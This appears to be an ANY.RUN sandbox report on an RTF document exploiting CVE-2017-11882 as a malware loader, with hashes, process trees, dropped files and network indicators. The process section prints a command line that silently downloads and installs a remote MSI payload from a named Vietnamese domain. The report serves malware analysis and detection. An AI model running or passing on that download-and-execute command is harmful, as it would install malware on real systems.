analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

css.doc

Full analysis: https://app.any.run/tasks/82107857-4723-4794-a64e-b476068496f3
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: February 19, 2019, 06:31:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
loader
exe-to-msi
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

C450C7DFC7572C12D6F3A86126A37AC9

SHA1:

13074EC709E8D7B43D87BB0DA031F91FED6FBFF9

SHA256:

166AD91951FBFCC8BADF51A48BA6E385D78975368B8061F202D05ECAFA9E971C

SSDEEP:

1536:sxxQW3y/onuO3Opt4bd8X/3oAoAXQU2zoSdV:sxt3tnxept4x4AWXx27V

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 2448)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3816)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2496)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3816)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2496)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2496)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3212)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3212)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3816)

    • Application was dropped or rewritten from another process

      • MSI78AE.tmp (PID: 3328)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 2496)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2496)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: obidah qudah
LastModifiedBy: Richard
CreateDate: 2018:01:23 22:18:00
ModifyDate: 2018:07:03 09:28:00
RevisionNumber: 23
TotalEditTime: 12 minutes
Pages: 1
Words: 17
Characters: 97
CharactersWithSpaces: 113
InternalVersionNumber: 57435
Saveprevpict: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
7
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs msi78ae.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
3212"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\css.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3816"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2448cmd.exe & /C CD C: & msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2924msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet C:\Windows\system32\msiexec.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2496C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2332"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE—svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3328"C:\Windows\Installer\MSI78AE.tmp"C:\Windows\Installer\MSI78AE.tmp—msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 648
Read events
915
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
9
Unknown types
5

Dropped files

PID
Process
Filename
Type
3212WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR58BF.tmp.cvr —
MD5:—
SHA256:—
2496msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF1ACCD4D6CC979A50.TMP —
MD5:—
SHA256:—
2496msiexec.exeC:\Windows\Installer\MSI661D.tmpexecutable
MD5:F52E3FE5E086CDC9039DE40074FDD2B7
SHA256:5B4987EB62CAA1421619D005B70426B2E184DF3350C090AD96341661557C5D78
3212WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$css.docpgc
MD5:1C4B2154380631F5D10BE56B67FE2E67
SHA256:73DC62A811D0E6C87F03844DEDACB8F0D3A37B4E3F04D0C81F2F3F858680F027
3212WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:FFDDA778140572C37C6C1B9E1A88C58B
SHA256:478279FBD54E6D1EE6C21D74755708B0B3AD34CCC4069C872C81C9A3A4BF25D2
2496msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:B928444287C1AA14F7DFFB35DCB4CB23
SHA256:8B69DC65C85D1F55EB96E1642F361B5E06635F1EA2CD8A9D931969DE8AA37E19
2496msiexec.exeC:\Windows\Installer\MSI78AE.tmpexecutable
MD5:4E4321D6575CC61EC09222D486F3DC57
SHA256:1F6C6A6BE854173701E1964F463D139429D3FC9FF98A98E9C3E8D2A9BB880376
2496msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\BV37UQXZ\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
2496msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\desktop.iniini
MD5:BA96961F5E22882527919E19DAEA510F
SHA256:DACE5AD59099429D8AED4EE279F1263EFB65D64456931398465A396CF0E79BD7
2496msiexec.exeC:\Windows\Installer\2477b2.ipibinary
MD5:966D4A79172883DBAFF005108342AFCA
SHA256:178DAABF48023787D8F68F5E83EA94B45F92B512AA3DE24BF1593618359BDDA7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2496
msiexec.exe
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/baba.msi
VN
executable
656 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2496
msiexec.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious

DNS requests

Domain
IP
Reputation
amazonvietnampharma.com.vn
  • 115.146.122.229
suspicious

Threats

PID
Process
Class
Message
2496
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
2496
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2496
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
css.doc